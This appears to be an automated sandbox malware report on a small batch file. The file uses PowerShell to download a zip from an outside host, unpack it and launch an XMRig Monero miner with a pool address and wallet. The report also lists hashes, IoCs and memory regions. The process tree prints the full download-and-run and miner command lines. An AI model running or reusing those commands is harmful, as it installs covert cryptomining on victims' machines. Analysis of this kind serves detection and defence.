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Analysis

  • max time kernel
    1797s
  • max time network
    1803s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/10/2023, 07:19

General

  • Target

    tesy - Copy (2).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2580
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1448
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1284

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d8bb85627b82ed29e083b75fb873d8a9

    SHA1

    e5b9e8ee2e0ab23969da2bdb33d5f005a0ebf81a

    SHA256

    e540e0821ab0cd7e8da60d986bf463be8e5203e9e031c373fdfce3145f6c909f

    SHA512

    210ad1e1cbfaa73265521318ba7572e10113e201bffe81cb5c3feb8f2d598b37476dddb16e2b32f55230d3384432253a92b29bf652187fade0a83a8b85bbfc66

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6dd4775d045085ccd4f01e71f1154335

    SHA1

    22f26d184c8dd11c4d3a7c558e2b14793381eb18

    SHA256

    5f774cbfa876db5198b0ab7fb59ec438c02cc296a8affa92886a58c28c3d3450

    SHA512

    68bd47769aee5cc993a54e960ee7f4e2852b5357f2a6cce8932c28afceb292c41aa8d6b76935f5671199a9cfae5b24f0aa42e0f426ce28fb901e51c0d4c6310f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bc3drwvu.dpd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1164-9-0x000001837D190000-0x000001837D1B2000-memory.dmp

    Filesize

    136KB

  • memory/1164-10-0x00007FFA9F1F0000-0x00007FFA9FCB1000-memory.dmp

    Filesize

    10.8MB

  • memory/1164-11-0x000001837D100000-0x000001837D110000-memory.dmp

    Filesize

    64KB

  • memory/1164-12-0x000001837D100000-0x000001837D110000-memory.dmp

    Filesize

    64KB

  • memory/1164-13-0x000001837D100000-0x000001837D110000-memory.dmp

    Filesize

    64KB

  • memory/1164-17-0x00007FFA9F1F0000-0x00007FFA9FCB1000-memory.dmp

    Filesize

    10.8MB

  • memory/1284-72-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-79-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-114-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-113-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-46-0x0000015781700000-0x0000015781720000-memory.dmp

    Filesize

    128KB

  • memory/1284-47-0x0000015781740000-0x0000015781780000-memory.dmp

    Filesize

    256KB

  • memory/1284-48-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-49-0x0000015782F30000-0x0000015782F50000-memory.dmp

    Filesize

    128KB

  • memory/1284-50-0x0000015782F50000-0x0000015782F70000-memory.dmp

    Filesize

    128KB

  • memory/1284-51-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-52-0x0000015782F30000-0x0000015782F50000-memory.dmp

    Filesize

    128KB

  • memory/1284-53-0x0000015782F50000-0x0000015782F70000-memory.dmp

    Filesize

    128KB

  • memory/1284-54-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-55-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-56-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-57-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-58-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-59-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-60-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-61-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-62-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-63-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-64-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-65-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-66-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-67-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-68-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-69-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-70-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-71-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-112-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-73-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-74-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-75-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-76-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-77-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-78-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-111-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-80-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-81-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-82-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-83-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-84-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-85-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-86-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-87-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-88-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-89-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-90-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-91-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-92-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-93-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-94-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-95-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-96-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-97-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-98-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-99-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-100-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-101-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-102-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-103-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-104-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-105-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-106-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-107-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-108-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-109-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/1284-110-0x00007FF646BB0000-0x00007FF6476B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-20-0x0000025270ED0000-0x0000025270EE0000-memory.dmp

    Filesize

    64KB

  • memory/2580-19-0x00007FFA9F000000-0x00007FFA9FAC1000-memory.dmp

    Filesize

    10.8MB

  • memory/2580-32-0x0000025270EA0000-0x0000025270EB2000-memory.dmp

    Filesize

    72KB

  • memory/2580-21-0x0000025270ED0000-0x0000025270EE0000-memory.dmp

    Filesize

    64KB

  • memory/2580-33-0x0000025270E50000-0x0000025270E5A000-memory.dmp

    Filesize

    40KB

  • memory/2580-42-0x00007FFA9F000000-0x00007FFA9FAC1000-memory.dmp

    Filesize

    10.8MB